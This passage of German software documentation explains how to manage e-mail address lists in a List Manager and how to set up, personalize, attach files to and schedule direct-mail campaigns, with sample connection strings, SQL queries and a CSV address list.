    Namen der Zielliste eingeben | Geben Sie einen Namen für die importierte Liste ein.
    Geben Sie eine Datei auf dem Server an:
    • Wenn es sich bei der zu importierenden Liste um eine nichtformatierte Datei handelt, geben Sie den Pfad, den Dateinamen und die Erweiterung der Liste ein.
      Hinweis
      • Wenn Sie den Pfad angeben (z. B. Laufwerkbuchstabe:\Dateiname.txt), verweist Laufwerkbuchstabe auf den Server (und nicht auf den Clientcomputer). Wenn Sie eine Datei vom Clientcomputer importieren möchten, müssen Sie den UNC-Pfadnamen eingeben.
      • Wenn die zu importierende Liste in einer SQL-Tabelle erstellt wurde, führen Sie die folgenden Schritte aus:
      1. Geben Sie in das Feld Verbindungszeichenfolge die Datenbank-Verbindungszeichenfolge ein, die den Speicherort der Datenbank sowie den Verbindungstyp definiert.

        Beispiel: OLEDB-Verbindungszeichenfolge:

        Provider=SQLOLEDB.1;Integrated Security='SSPI';Initial Catalog=”Retail_Commerce”;
Data Source=Computername”
      2. Geben Sie in das Feld SQL-Abfrage die SQL-Abfrage ein, mit der Sie die gewünschten Daten abrufen möchten. In allen Abfragen müssen für alle Elemente die vollständigen Namen angegeben werden.

        Beispiel: SQL Server 7.0-Datenbankabfrage:

        SELECT u_email_address AS rcp_email
FROM retail_commerce.dbo.UserObject
WHERE d_date_registered >= '03/01/2000'

        Beispiel: Remote SQL Server-Datenbankabfrage

        SELECT u_email_address AS rcp_email
FROM Servername.retail_commerce.dbo.UserObject
WHERE d_date_registered >= '03/01/2000'

        Informationen über die Anforderungen an Feldnamen im Listen-Manager finden Sie unter Erstellen einer Adressenliste.

      Hinweis

      • Wenden Sie sich an Ihren Systemadministrator, um Informationen zu bestimmten Eigenschaften der Datenbank oder zu SQL-Abfragen zu erhalten. Informationen über das Schreiben von SQL-Abfragen finden Sie in der SQL Server-Onlinedokumentation.
  5. Klicken Sie auf OK.

Die neue Liste wird im Listen-Manager angezeigt. Diese Liste kann nun in einer Direktsendungskampagne verwendet werden.

So exportieren Sie eine Liste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die zu exportierende Liste aus, und klicken Sie dann auf der Symbolleiste auf Exportieren.
  3. Wählen Sie die Datenquelle der Liste, die Sie exportieren möchten.

    Folgende Optionen sind verfügbar: Datei und SQL-Tabelle.

    • Wählen Sie die Option Datei, wenn die Liste in einer Anwendung wie Editor erstellt wurde und es sich folglich um eine nichtformatierte Datei handelt.
    • Wählen Sie SQL-Tabelle, wenn die Liste in einer SQL-Tabelle erstellt wurde.
  4. Führen Sie im Dialogfeld Eine Liste exportieren folgende Schritte aus:
    Funktion | Aktion
    Geben Sie eine Datei auf dem Server an:
    • Wenn es sich bei der zu exportierenden Liste um eine nichtformatierte Datei handelt, geben Sie den Pfad, den Dateinamen und die Erweiterung für die Liste ein.
      Hinweis
      • Wenn Sie den Pfad angeben (z. B. Laufwerkbuchstabe:\Dateiname.txt), verweist Laufwerkbuchstabe auf den Server (und nicht auf den Clientcomputer). Wenn Sie eine Datei vom Clientcomputer exportieren möchten, müssen Sie den UNC-Pfadnamen eingeben.
      • Wenn die zu exportierende Liste in einer SQL-Tabelle erstellt wurde, führen Sie die folgenden Schritte aus:
      1. Geben Sie in das Feld Verbindungszeichenfolge die Datenbank-Verbindungszeichenfolge ein, die den Speicherort der Datenbank sowie den Verbindungstyp definiert.

        Beispiel: OLEDB-Verbindungszeichenfolge:

        Provider=SQLOLEDB.1;
Integrated Security='SSPI';
Initial Catalog=”Retail_Commerce”;
Data Source=Computername”
      2. Geben Sie im Feld Tabellenname den Namen der Tabelle ein, in die die Liste exportiert werden soll.
      Hinweise
      • Es können nur versendbare Listen (Listen mit einer rcp_email-Spalte) in eine Datei exportiert werden.
      • Wenden Sie sich an Ihren Systemadministrator, um weitere Informationen zu den Datenbankeigenschaften zu erhalten.
    Vorhandene Tabelle überschreiben | Aktivieren Sie dieses Kontrollkästchen, wenn eine vorhandene Tabelle durch die zu exportierende Liste ersetzt werden soll.
  5. Klicken Sie auf OK.

Die Liste wird in die ausgewählte Datenquelle exportiert.

Hinweis

  • Wenn der Export fehlschlägt, suchen Sie im Windows NT-Ereignisprotokoll auf dem Business Desk Server nach Detailinformationen zum aufgetretenen Fehler, oder wenden Sie sich an Ihren Systemadministrator.

Siehe auch

Suchen von Benutzerprofilen in Adressenlisten


Anzeigen von exportierten Listen

Sie können Elemente einer exportierten Adressenliste suchen und anzeigen. Es ist möglich, einzelne E-Mail-Adressen zu suchen und auch, alle Adressen in einer Liste anzuzeigen.

So zeigen Sie eine als SQL Server-Tabelle exportierte Liste an

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie im linken Fenster Microsoft SQL Server> SQL Server-Gruppe >Servername>Datenbanken. Erweitern Sie dann die Datenbank, der die Tabelle mit der Liste zugeordnet ist.
  3. Klicken Sie im Ausschnitt Details mit der rechten Maustaste auf die Tabelle, zeigen Sie auf Tabelle öffnen, und klicken Sie dann auf Alle Zeilen zurückgeben, um alle Daten in der Tabelle anzuzeigen.

Informationen über das Durchsuchen von SQL Server-Tabellen finden Sie in der SQL Server Enterprise Manager-Onlinedokumentation.

Hinweis

  • Eine als CSV-Datei exportierte Liste kann in jeder Anwendung, die über Sortier- und Suchfunktionen verfügt, nach bestimmten Datensätzen sortiert oder durchsucht werden.

Siehe auch

Erstellen einer Direktsendung


Hinzufügen und Entfernen von Listen

Möglicherweise verwalten Sie im Listen-Manager mehrere Listen, die Sie kombinieren möchten. Möglicherweise ist es auch erforderlich, aus einer Liste im Listen-Manager, die aus mehreren Listen zusammengestellt worden ist, eine der Listen wieder zu löschen. Der Listen-Manager ermöglicht die Verwaltung mehrerer Listen.

Zum Hinzufügen und Entfernen von Listen müssen beide Listen versendbar sein. Beispielsweise muss jede Liste eine rcp_email-Spalte enthalten. Informationen über die Anforderungen für Adressenlisten finden Sie unter Erstellen einer Adressenliste.

So fügen Sie eine Liste einer anderen Liste hinzu

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die Liste aus, die Sie mit einer anderen Liste kombinieren möchten. Klicken Sie dann auf der Symbolleiste auf Liste hinzufügen/entfernen.
  3. Führen Sie im Dialogfeld Listen hinzufügen/entfernen folgende Schritte aus:
    Funktion | Aktion
    Operation | Wählen Sie in der Dropdownliste die Option Hinzufügen zu aus.
    Zielliste | Wählen Sie die Liste aus, zu der Sie die Ausgangsliste hinzufügen möchten.
    Name für neue Liste | Geben Sie einen Namen für die neue Liste ein.
    Beschreibung | Geben Sie eine Beschreibung für die neue Liste ein.
  4. Klicken Sie auf OK.

Die neue Liste wird im Listen-Manager angezeigt.

So entfernen Sie eine Liste aus einer anderen Liste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die Liste aus, aus der Sie eine andere Liste entfernen möchten, und klicken Sie dann auf der Symbolleiste auf Liste hinzufügen/entfernen.
  3. Führen Sie im Dialogfeld Listen hinzufügen/entfernen folgende Schritte aus:
    Funktion | Aktion
    Operation | Wählen Sie in der Dropdownliste die Option Entfernen aus.
    Zielliste | Wählen Sie die Liste aus, aus der Sie Daten entfernen möchten.
    Name für neue Liste | Geben Sie einen Namen für die neue Liste ein.
    Beschreibung | Geben Sie eine Beschreibung für die neue Liste ein.
  4. Klicken Sie auf OK.

Die neue Liste wird im Listen-Manager angezeigt, die Datensätze der Ausschlussliste sind gelöscht.

Siehe auch

Verwalten von Listen mit Benutzereinträgen


Umbenennen von Listen

Eine Änderung des Layouts kann sinnvoll sein, wenn die Abhängigkeiten, die Sie anzeigen möchten, nur schwer zu erkennen sind.

So benennen Sie eine Liste um

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die Liste aus, die umbenannt werden soll, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Dialogfeld Liste 'Listenname' aktualisieren folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie den neuen Namen der Liste ein.
    Beschreibung | Geben Sie eine Beschreibung für die Liste ein.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Liste zu speichern und zum Bildschirm Listen-Manager zurückzukehren.

Daraufhin wird die Liste umbenannt und im Bildschirm Listen-Manager alphabetisch einsortiert.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Benutzer- und Adressenlisten

Allgemeine Listen


Kopieren von Adressenlisten

Möglicherweise verfügen Sie über Adressenlisten, anhand derer Sie weitere Listen erstellen möchten. Im Listen-Manager können Sie sowohl generische Listen als auch Adressenlisten kopieren und die kopierte Liste dann schnell und einfach bearbeiten. Sie können sie beispielsweise mit einer anderen bestehenden Liste kombinieren, um so eine Liste mit mehr Datensätzen zu erhalten.

So kopieren Sie eine Adressenliste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die zu kopierende Liste aus, und klicken Sie dann auf der Symbolleiste auf Kopieren.
  3. Führen Sie im Dialogfeld Liste kopieren folgende Schritte aus:
    Funktion | Aktion
    Wählen Sie eine Zielliste aus | Wählen Sie die bestehende Liste aus, in die Sie die Liste kopieren möchten.
    Namen der Zielliste eingeben | Geben Sie den Namen der neuen Liste ein, in die die Liste kopiert werden soll.
  4. Klicken Sie auf OK.

Die Liste wird kopiert und kann nun bearbeitet werden.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Benutzer- und Adressenlisten

Allgemeine Listen


Extrahieren von Adressenlisten

Mit dem Listen-Manager-Modul lassen sich doppelte bzw. leere E-Mail-Adressen aus einer generischen Liste entfernen, sodass nur die zum Übermitteln erforderlichen Felder verbleiben. Die Ergebnisliste gibt zuverlässigere Informationen bezüglich der Anzahl der verschiedenen E-Mail-Adressen. Auf diese Weise ist die Liste von höherem Wert bei der Steigerung der Systemleistung zur Laufzeit.

So extrahieren Sie eine Adressenliste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die zu extrahierende Liste aus, und klicken Sie dann auf der Symbolleiste auf Direktsendungsliste extrahieren.
  3. Führen Sie im Dialogfeld Adressenliste extrahieren die folgenden Schritte aus:
    Funktion | Aktion
    Namen der Zielliste eingeben | Geben Sie einen Namen für die neue Liste ein, in die die Adressenliste extrahiert werden soll.
    Beschreibung | Geben Sie eine Beschreibung der extrahierten Liste ein.
  4. Klicken Sie auf OK.

Die extrahierte Liste enthält nur eindeutige E-Mail-Adressen.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Benutzer- und Adressenlisten

Allgemeine Listen


Löschen von Listen

Nicht mehr benötigte Listen können im Listen-Manager gelöscht werden.

So löschen Sie eine Liste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Wählen Sie im Bildschirm Listen-Manager die zu löschende Liste aus, und klicken Sie dann auf der Symbolleiste auf Löschen.
  3. Klicken Sie im Dialogfeld Liste löschen auf OK, um die Liste zu löschen.

Die Liste wird aus dem Listen-Manager gelöscht.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Benutzer- und Adressenlisten

Allgemeine Listen


Erstellen einer Direktsendung

Das Modul "Kampagnen-Manager" ermöglicht das Erstellen und Verwalten von E-Mail-basierten Direktsendungskampagnen. Eine Direktsendung ist ein Kampagnenartikel, mit dem spezifische Benutzergruppen unter Verwendung von Adressenlisten im Listen-Manager zielgerichtet angesprochen werden können. Das Modul "Kampagnen-Manager" ermöglicht das Erstellen neuer Direktsendungskampagnen, das Personalisieren von Nachrichten, das Hinzufügen von Anlagen zu Ihren Direktsendungsnachrichten und das Ändern von Eigenschaften der Direktsendungen. Darüber hinaus können Sie die Adressenlisten für Direktsendungen testen, bevor Sie diese in Produktion geben. Schrittweise Anleitungen finden Sie im Direct Mailer-Lernprogramm.

Die folgende Darstellung illustriert ein Beispielszenario für das Erstellen und Verwalten einer Direktsendungskampagne.

Arbeitsablauf beim Erstellen und Verwalten einer Direktsendungskampagne
  1. Importieren Sie im Listen-Manager-Modul eine Adressenliste (beispielsweise eine Liste der wichtigsten Benutzer).
  2. Erstellen Sie im Modul "Kampagnen-Manager" eine Direktsendungskampagne, wobei Sie die Zielgruppenadressierung anhand der Adressenliste der wichtigsten Benutzer durchführen.
  3. Geben Sie den Namen der HTML-Seite mit dem personalisierten Inhalt ein.
  4. Fügen Sie der Direktsendungskampagne eine Anlage hinzu.
  5. Legen Sie einen Zeitplan mit Startdatum und Enddatum für die Direktsendungskampagne fest, und geben Sie an, wie oft der Direktsendungsauftrag ausgeführt werden soll.
  6. Testen Sie den Direktsendungsauftrag mit einer Testliste, und zeigen Sie die personalisierten Seiten an, um sie ggf. zu bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erstellen einer Adressenliste
  • Importieren einer Adressenliste
  • Hinzufügen von Direktsendungseigenschaften
  • Personalisieren einer Direktsendungsnachricht
  • Hinzufügen von Anlagen zu einer Direktsendung
  • Planen von Direktsendungen
  • Testen von Direktsendungen
  • Kopieren von Direktsendungen


Erstellen einer Adressenliste

Das Listen-Manager-Modul muss eine gültige Adressenliste enthalten, damit eine Direktsendungskampagne erstellt werden kann. Eine gültige Adressenliste muss eine Spalte mit der Bezeichnung "rcp_email", in der E-Mail-Adressen aufgelistet sind, und mindestens eine Spalte mit Empfängern enthalten. Adressenlisten werden in Direct Mailer verwendet, um Nachrichten an ausgewählte Empfänger in Listen zu übermitteln.

Adressenlisten lassen sich mit einem beliebigen Text-Editor erstellen. Sie können auch in anderen Anwendungen erstellte Listen in den Listen-Manager importieren. Beispiele solcher Anwendungen sind SQL Server (Erstellen von SQL-Tabellen), Editor (Erstellen von ASCII-Textdateien), Microsoft Excel (Erstellen von Kalkulationstabellen) oder Microsoft Outlook (Exportieren von Informationen aus PST-Dateien).

Beim Import von Listen aus SQL Server benötigt der Listen-Manager die in der nachstehenden Tabelle aufgeführten Feldnamen. Jede Zeile in der Liste enthält einen einzigen Empfänger und besteht aus den folgenden Elementen im durch Trennzeichen getrennten (CSV-)Format.

Feldname | Parameter | Beschreibung
rcp_email | E-Mail-Adresse | Erforderlich. Name oder Name@Domäne.
rcp_guid | GUID | Optional. Global eindeutiger Bezeichner (GUID, Global Unique Identifier). Die individuelle Benutzer-ID, mit der Inhalte einer personalisierten E-Mail-Nachricht hinzugefügt werden.
rcp_fmt Nachrichtenformat Optional. Steuert den Nachrichtenformattyp, in den die Ergebnisse vom Collaboration Data Object (CDO) übersetzt werden. Folgende Werte werden unterstützt:
  • Text (1)
  • MIME (2)
  • MHTML (3)

Informationen über Nachrichtenformate finden Sie unter Nachrichtenformate.
rcp_locale | Sprache | Optional. Werte der Codepage, die in Adressenlisten verwendet werden, z. B. US-ASCII und ISO-8859-1.
rcp_url | URL | Optional. Ermöglicht es, einzelne URLs pro Benutzer an CDO zu übergeben.

Hinweise

  • Die Feldnamen müssen in der Reihenfolge verwendet werden, in der sie oben aufgeführt sind. Wird ein optionaler Parameter nicht angegeben, muss das zugehörige Trennzeichen dennoch angegeben werden, damit nachfolgende optionale Parameter richtig zugeordnet werden können.

Das folgende Beispiel zeigt eine Adressenliste (ASCII-Textdatei), die mithilfe eines Texteditors (z. B. Editor) erstellt wurde.

BettyUser@Microsoft.com, BettyUser,1,,www.Microsoft.com
JoeUser@Microsoft.com, JoeUser,1,,www.Microsoft.com
JaneUser@VigorAirLines.com, JaneUser,2,,www.VigorAirlines.com
JackUser@ArborShoes.com, JackUser,3,,www.ArborShoes.com

Führen Sie folgende Schritte aus, um die Daten aus Microsoft Outlook als Adressenliste in den Listen-Manager zu exportieren:

  1. Klicken Sie im Bildschirm Kontakte von Microsoft Outlook im Menü Datei auf die Option Importieren/Exportieren.
  2. Klicken Sie auf die Option Exportieren in eine Datei und dann auf Weiter.
  3. Wählen Sie den Dateityp Tabulatorgetrennte Werte oder Kommagetrennte Werte, und klicken Sie dann auf Weiter.
  4. Wählen Sie den Ordner aus, aus dem exportiert werden soll, und klicken Sie dann auf Weiter.
  5. Geben Sie den Pfad und den Namen der Datei an, klicken Sie auf Durchsuchen, um den Zielordner der zu exportierenden Datei zu suchen, und klicken Sie dann auf Weiter.
  6. Klicken Sie auf Felder zuordnen und im rechten Bereich An: auf Zuordnung löschen.
  7. Ziehen Sie den Wert E-Mail aus dem linken Bereich Von:, und legen Sie ihn im rechten Bereich An: ab, klicken Sie auf OK und dann auf Fertig stellen.

Damit ist der Export der Datei aus Microsoft Outlook abgeschlossen. Die Datei kann nun als eine gültige Adressenliste in den Listen-Manager importiert werden. Weitere Informationen über das Exportieren von Dateien aus Microsoft Outlook finden Sie unter "Exportieren von Elementen in eine Datei oder in eine Persönliche Ordner-Datei" in der Onlinehilfe von Microsoft Outlook.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Benutzerlisten

Benutzer- und Adressenlisten

Allgemeine Listen


Importieren einer Adressenliste

Das Listen-Manager-Modul muss eine gültige Adressenliste enthalten, damit eine Direktsendungskampagne erstellt werden kann. Sie können im Listen-Manager-Modul Listen von Benutzern importieren, die Sie als Zielgruppe für Ihre Direktsendungskampagnen verwenden möchten. Dabei können Sie ASCII-Textdateien, Microsoft Excel-Dateien und SQL Server-Datenbanken importieren.

So importieren Sie eine Adressenliste

  1. Klicken Sie im Menü Kampagnen auf Listen-Manager.
  2. Klicken Sie im Bildschirm Listen-Manager auf der Symbolleiste auf Importieren.
  3. Führen Sie im Dialogfeld Liste importieren folgende Schritte aus:
    Funktion | Aktion
    Listentyp Wählen Sie den gewünschten Listentyp aus.

    Folgende Optionen sind verfügbar: Statisch und Dynamisch.

    • Wählen Sie Statisch, um eine statische nichtformatierte Textdatei zu importieren.
    • Wählen Sie Dynamisch, um eine dynamische Liste (z. B. eine sich ändernde Liste aus einer SQL Server-Datenbank) zu importieren.
    Namen der Zielliste eingeben | Geben Sie einen Namen für die importierte Liste ein.
    Listenquelle Wählen Sie den Quelltyp der Liste aus.

    Folgende Optionen sind verfügbar: Aus Datei und Aus SQL-Datenbank.

    • Wählen Sie die Option Aus Datei, um eine statische Liste zu importieren.
    • Wenn Sie die Option Aus SQL-Datenbank wählen, führen Sie folgende Schritte durch:
      1. Geben Sie in das Feld Verbindungszeichenfolge die Datenbank-Verbindungszeichenfolge ein, die den Speicherort der Datenbank sowie den Verbindungstyp definiert.
      2. Geben Sie in das Feld SQL-Abfrage die SQL-Abfrage ein, mit der Sie die gewünschten Daten abrufen möchten.

        Beispiel: SQL-Abfrage:

        SELECT u_email_address AS rcp_email
FROM UserObject
WHERE d_date_registered >= '03/01/2000'

        Informationen über die Anforderungen an Feldnamen im Listen-Manager finden Sie unter Erstellen einer Adressenliste.

      Hinweis

      • Wenden Sie sich an Ihren Systemadministrator, um Informationen zu bestimmten Eigenschaften der Datenbank oder zu SQL-Abfragen zu erhalten. Informationen über das Schreiben von SQL-Abfragen finden Sie in der SQL Server-Onlinedokumentation.
    Dateiname | Geben Sie Pfad, Dateinamen und Erweiterung für die zu importierende Liste ein.
  4. Klicken Sie auf OK.

Die neue Liste wird importiert und im Listen-Manager angezeigt. Die Liste kann nun in einer Direktsendungskampagne verwendet werden.

Siehe auch

Verwalten von Listen mit Benutzereinträgen

Importieren und Exportieren von Listen

Benutzer- und Adressenlisten


Hinzufügen von Direktsendungseigenschaften

Mithilfe von Direktsendungskampagnen können Sie Benutzer direkt und gezielt mit Ihren Anzeigen ansprechen. Die Adressenlisten im Listen-Manager können zum Erstellen von Direktsendungen verwendet werden, um spezifische Benutzergruppen zielgerichtet anzusprechen. Sie können ASCII-Textdateien und Tabellen aus SQL Server-Datenbanken importieren. Die Adressenlisten werden verwendet, um Direktsendungsaufträge auszuführen und Benutzer gezielter und damit erfolgreicher anzusprechen.

Hinweis

  • Bevor Sie eine Direktsendungskampagne erstellen können, müssen Sie sicherstellen, dass der SQL Server-Agent läuft. Wenn der SQL Server-Agent nicht läuft, können Sie Ihre Direktsendungskampagne nicht speichern. Wenn Sie Informationen über das Ausführen des SQL Server-Agents benötigen, wenden Sie sich an Ihren Systemadministrator.

So fügen Sie Direktsendungseigenschaften hinzu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden ein, für den Sie eine Direktsendung erstellen möchten, wählen Sie die entsprechende Kampagne aus, und klicken Sie auf der Symbolleiste auf Hinzufügen. Wählen Sie dann in der Dropdownliste den Eintrag Neue Direktsendung aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Neu (Direktsendung) im Bereich Direktsendungseigenschaften folgende Schritte aus:
    Funktion | Aktion
    Direktsendungsname | Geben Sie einen Namen für den Direct Mailer-Auftrag ein.
    Nachricht von E-Mail-Adresse | Geben Sie die Adresse ein, von der aus die Direktsendung verschickt wird.
    Antwort an E-Mail-Adresse Geben Sie die Adresse ein, an die der Empfänger seine Antwort richten kann, falls die Adresse nicht der Absenderadresse entspricht.

    Dieses Feld enthält als Vorgabe die Adresse, von der die Direktsendung verschickt wird.
    Betreff | Geben Sie den Betrefftext für diesen Direct Mailer-Auftrag ein.
    Dateipfad oder URL, der den Nachrichtentext enthält Geben Sie den Dateipfad oder den URL ein, der für die Anzeige der Direktsendungsnachricht verwendet wird.

    Der URL des personalisierten Nachrichtentextes muss eine gültige Erweiterung für den HTML-Inhaltstyp wie HTM oder ASP haben. Ungültige Erweiterungen wie XML führen zu einem CDO-Fehler (Collaboration Data Objects), und die Nachricht wird nicht gesendet.

    Informationen über die Anzeige personalisierter Seiten finden Sie unter Testen von Direktsendungen.

    Vorsicht

    • Eine Datei mit einer Größe von mehr als 2 MB wird abgeschnitten. In der Direktsendung werden nur die ersten 2 MB an Daten verwendet.
    Anlage Geben Sie den Dateipfad und den Namen der Anlage ein, die zusammen mit der Nachricht versendet wird.

    Wenn keine Anlage versendet wird, lassen Sie dieses Kontrollkästchen deaktiviert.
    Adressenliste | Wählen Sie die Adressenliste, die für diese Direktsendungskampagne verwendet wird, in der Dropdownliste aus.
    Direktsendung für Benutzer personalisieren Aktivieren Sie dieses Kontrollkästchen, um die Personalisierung für diese Direktsendungskampagne zu aktivieren.

    Wenn dieses Kontrollkästchen aktiviert ist, wird für alle Benutzer die ASP-Seite mit dem Nachrichtentext aufgerufen und das Ergebnis als E-Mail verschickt.

    Wenn dieses Kontrollkästchen nicht aktiviert ist, wird die ASP-Seite mit dem Nachrichtentext einmal aufgerufen und an alle Benutzer derselbe Nachrichtentext verschickt.

    Hinweis

    • Diese Option verbraucht viel Verarbeitungskapazität, besonders bei Massenmails.
    Mailformat Wählen Sie das Format dieser E-Mail aus.

    Es stehen folgende Optionen zur Verfügung:

    • Text – Formatiert die E-Mail im ASCII-Format.
    • MIME – Formatiert die E-Mail mit Multipurpose Internet Mail Extensions.
    • MHTML – Formatiert die Mail mit MIME-Verkapselung des HTML-Inhalts, sodass sie als E-Mail versendet werden kann.

    Wichtig

    • Diese Nachrichtenformate sind die Standardwerte, die nur bei dem benutzerdefinierten E-Mail-Format "NULL" verwendet werden. Wenn ein benutzerdefiniertes E-Mail-Format (beim Erstellen oder Importieren der Adressenliste) festgelegt wurde, wird dieses zum Senden der Direktsendung verwendet.

    Informationen über Nachrichtenformate finden Sie unter Nachrichtenformate.
    Kommentare (nicht Teil der Nachricht) | Geben Sie ggf. erforderliche Kommentare ein, die sich auf diesen Direktsendungsauftrag beziehen.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Direktsendung zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Direktsendung wird zum Kampagnen-Manager hinzugefügt. Sie können für diese Direktsendung nun einen Zeitplan festlegen und sie dann testen.

Hinweis

  • Sie können überprüfen, ob die URL-Angabe des Nachrichtentextes im Feld Dateipfad oder URL, der den Nachrichtentext enthält eine gültige Adresse ist, indem Sie den Pfad markieren und anschließend STRG+C drücken, um die Markierung zu kopieren. Öffnen Sie dann Ihren Browser, und drücken Sie STRG+V, um den Inhalt der Zwischenablage in die Adressleiste einzufügen. Drücken Sie dann die EINGABETASTE. Ist der Pfad bzw. URL gültig, wird die entsprechende Seite im Browser angezeigt.

Informationen zum Planen von Direktsendungen finden Sie unter Planen von Direktsendungen. Weitere Informationen zum Testen von Direktsendungen finden Sie unter Testen von Direktsendungen.

Siehe auch

Hinzufügen einer Kampagne

Verwalten von Listen mit Benutzereinträgen

Importieren und Exportieren von Listen


Personalisieren einer Direktsendungsnachricht

Sie können E-Mail-Nachrichten mithilfe einer zum Zweck der Personalisierung erstellten ASP-Seite personalisieren. So können Sie beispielsweise in einer personalisierten Grußformel den Vornamen des Benutzers aufnehmen. Für die Übermittlung kann auch besonderer Text zur ASP-Seite hinzugefügt werden. Wird keine Personalisierung festgelegt, wird die Direktsendungsnachricht als reine HTML-Seite übermittelt.

So personalisieren Sie eine Direktsendungsnachricht

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die zu personalisierende Direktsendungskampagne aus, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Direktsendungsartikel (Direktsendungs-ID: Nummer) folgende Schritte aus:
    Funktion | Aktion
    Dateipfad oder URL, der den Nachrichtentext enthält | Geben Sie den Namen der HTML-Seite mit dem personalisierten Inhalt ein.
    Direktsendung für Benutzer personalisieren Aktivieren Sie dieses Kontrollkästchen, um die Personalisierung für diese Direktsendungskampagne zu aktivieren.

    Wenn dieses Kontrollkästchen aktiviert ist, wird für alle Benutzer die ASP-Seite mit dem Nachrichtentext aufgerufen und das Ergebnis als E-Mail verschickt.

    Wenn dieses Kontrollkästchen nicht aktiviert ist, wird die ASP-Seite mit dem Nachrichtentext einmal aufgerufen und an alle Benutzer derselbe Nachrichtentext verschickt.

    Hinweis

    Diese Option verbraucht viel Verarbeitungskapazität, besonders bei Massenmails.
    Mailformat Wählen Sie das Format dieser E-Mail aus.

    Es stehen folgende Optionen zur Verfügung:

    • Text – Formatiert die E-Mail im ASCII-Format.
    • MIME – Formatiert die E-Mail mit Multipurpose Internet Mail Extensions.
    • MHTML – Formatiert die E-Mail in mehrsprachigem HTML.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Direktsendungskampagne mit den zugehörigen Personalisierungsinformationen zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Direktsendungsnachricht wird mit den zugehörigen Personalisierungsinformationen übermittelt.

Informationen über die Anzeige personalisierter Seiten finden Sie unter Testen von Direktsendungen.

Siehe auch

Erstellen einer Direktsendung

Testen von Direktsendungen


Hinzufügen von Anlagen zu einer Direktsendung

Im Bildschirm Kampagnen-Manager können Sie im Bereich Direktsendungseigenschaften Anlagen zu Direktsendungen hinzufügen. Eine Anlage kann eine beliebige Datei sein, die Sie zusammen mit der Direktsendung übermitteln möchten.

So fügen Sie einer Direktsendung eine Anlage hinzu

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die Direktsendung aus, der Sie eine Anlage hinzufügen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Geben Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Direktsendungsartikel (Direktsendungs-ID: Nummer) im Feld Anlage den Pfad zu der Anlage ein, die mit der E-Mail-Nachricht versendet werden soll.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anlage mit der Direktsendungskampagne zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Anlage wird zusammen mit diesem Direct Mailer-Auftrag gespeichert.

Siehe auch

Hinzufügen von Direktsendungseigenschaften


Planen von Direktsendungen

Im Bildschirm Kampagnen-Manager planen Sie im Bereich Mailzeitplan die Anfangs- und Beendigungszeiten einer Direktsendung, und geben an, wie oft der Direktsendungsauftrag versendet werden soll.

So planen Sie eine Direktsendung

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Wählen Sie im Bildschirm Kampagnen-Manager die Direktsendung aus, für die Sie einen Zeitplan festlegen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Direktsendungsartikel (Direktsendungs-ID: Nummer) im Bereich Mailzeitplan folgende Schritte aus:
    Funktion | Aktion
    Anfangsdatum | Geben Sie das Anfangsdatum der Direktsendung ein, oder wählen Sie es im Dropdownkalender aus.
    Beendigungsdatum Geben Sie das Beendigungsdatum der Direktsendung ein, oder wählen Sie es im Dropdownkalender aus.

    Das Feld Beendigungsdatum steht nicht zur Verfügung, wenn das Versandintervall auf Einmalig eingestellt ist.
    Anfangszeit | Wählen Sie in der Dropdownliste eine Anfangszeit für die Kampagne aus.
    Versandintervall | Wählen Sie in der Dropdownliste aus, wie oft die E-Mail verschickt werden soll.

    Hinweis

    • Zur Festlegung des Versandintervalls stehen mehrere Optionen zur Verfügung. Abhängig von der ausgewählten Option werden unterschiedliche Felder angezeigt, über die Sie das Serienmuster der Kampagne festlegen können.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Zeitplan mit der Direktsendung zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der Zeitplan wird zusammen mit der Direktsendung gespeichert.

Hinweis

